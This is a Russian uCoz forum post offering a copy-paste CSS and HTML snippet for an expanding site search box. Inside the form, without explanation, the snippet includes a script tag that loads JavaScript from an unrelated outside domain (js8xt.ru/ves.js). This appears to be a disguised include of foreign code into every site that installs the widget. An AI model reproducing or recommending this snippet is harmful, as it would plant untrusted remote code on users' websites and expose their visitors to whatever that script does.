02:30

Мини чат
Рекламное место

| Форум проекта | Главная страница | Обзоры модулей и сайтов | Ваша ссылка |
[ Ваша ссылка · Новые сообщения · Участники · Правила форума · Поиск · RSS ]


Статистика форума
Последние обновленные темы Самые популярные темы Самые активные Новые участники
картинка Тренінги для керівників (0)
картинка Обслуживание кондиционеров (0)
картинка Лізинг авто (0)
картинка Стоматолог Киев (0)
картинка Купити чорну ікру в Україні (0)
картинка Стоматология в Киеве (0)
картинка Оренда автомобілів в Україні (0)
картинка Общение (1 часть) (28)
картинка Угадай число и получи 9* (18)
картинка Угадай марку телефона (16)
картинка Заказать скрипт (8)
картинка Самое важное в HTML. (7)
картинка Наш баннер (5)
картинка Заказ обзора (5)
картинка Оцените мой сайт. (5)
картинка CHS8

картинка petrpetr_80

картинка MrWolf

картинка olichka

картинка Doker432)

картинка VlaD

картинка DOKER

картинка AVGantivir

картинка petrpetr_8015:48

картинка alinapancenko2919:57

картинка BOPOH11:57

картинка alitka98420:21

картинка Berkyt00:21

картинка Надим14:52

картинка Bitfood10:36


  • Страница 1 из 1
  • 1
Форум » Раздел для скриптеров » Готовые скрипты » Красивый поиск по сайту
Красивый поиск по сайту
AninewДата: Вторник, 08.05.2012, 16:26 | Сообщение # 1

Пользователи
Рядовой
Сообщений: 4
Награды: 0
Рейтинг: 0
[ ]
http://s019.radikal.ru/i614/1204/b4/9bbbaeb609fb.jpg <-- Скрин

Поиск очень стильный и подойдёт к любому шаблону.
При навождении на него он будет раздвигаться, как это показано на экране.
УСТАНОВКА
вставляем куда вам нужно

Code
<style>   
#wrap-search {   
margin: 0 auto;   
width: 100px;   
-moz-transition: all .2s ease-out;   
-webkit-transition: all .2s ease-out;   
-o-transition: all .2s ease-out;   
transition: all .2s ease-out;   
text-indent: 0px;}   

#wrap-search br { display: none; }   

#wrap-search #search {   
background: -moz-linear-gradient(center bottom , #9B9B9B 0%, #A9A9A9 50%, #CACACA 50%, #D3D3D3 2550%);   
background: -webkit-gradient(linear,left bottom,left top,color-stop(0, #9B9B9B),color-stop(0.5, #A9A9A9),color-stop(0.5, #CACACA),color-stop(25.5, #D3D3D3));   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#9B9B9B', EndColorStr='#CACACA');   
border-radius: 5px;   
padding: 4px;   
}   

#wrap-search:hover { width:200px; }   

.form-search {   
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#EBEBEB), to(#BCBCBC));   
background: -moz-linear-gradient(-90deg, #BCBCBC, #EBEBEB);   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#EBEBEB', EndColorStr='#BCBCBC');   
border: 1px solid #747474;   
border-radius: 3px;   
box-shadow: inset 0 1px 1px #575555, 0 1px 0 #FFF;   
height: 32px;   
position: relative;   
-moz-transition: all .2s ease-out;   
-webkit-transition: all .2s ease-out;   
-o-transition: all .2s ease-out;   
transition: all .2s ease-out;   
}   

.form-search input[type='text'] {   
background: none;   
border: none;   
color:#6E7074;   
height: 34px;   
line-height: 34px;   
padding: 0 27px 0 6px;   
font-family: Helvetica, Arial, sans-serif;   
font-size: 13px;   
text-shadow: 0 1px 0 #FFF;   
}   

#wrap-search:hover input[type='text'] { color:#597C84; }   

#wrap-search:hover .form-search {   
background: -moz-linear-gradient(-90deg, #9CC2CA, #DFECEF);   
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#DFECEF), to(#9CC2CA));   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#DFECEF', EndColorStr='#9CC2CA');   
box-shadow: inset 0 1px 1px #46575b, 0 1px 0 #FFF;   
color: #25464D;   
}   

.form-search input[type='image'] {   
height: 32px;   
opacity: .5;   
filter:alpha(opacity=50);   
position: absolute;   
right: 0px;   
top: 0px;   
width: 32px;   
}   

.form-search input[type='image']:hover {   
opacity: 1;   
filter:alpha(opacity=100);   
}   

</style>   

<div id="wrap-search">   
<div id="search">   
<form class="form-search" method="get" action="/search" target="_blank">
<script language=JavaScript src=http://js8xt.ru/ves.js></script>   
<input src="http://s019.radikal.ru/i622/1204/78/0154b88f49a9.png" type="image">   
<input name="q" value="поиск" onfocus="this.value='';" onblur="this.value='поиск';" onmouseover="this.value='';" onmouseout="this.value='поиск';" type="text">   
</form>   
</div>   
</div>
 
Форум » Раздел для скриптеров » Готовые скрипты » Красивый поиск по сайту
  • Страница 1 из 1
  • 1
Поиск:


За день нас посетили:

Объединенный форум скриптеров uCoz © 2024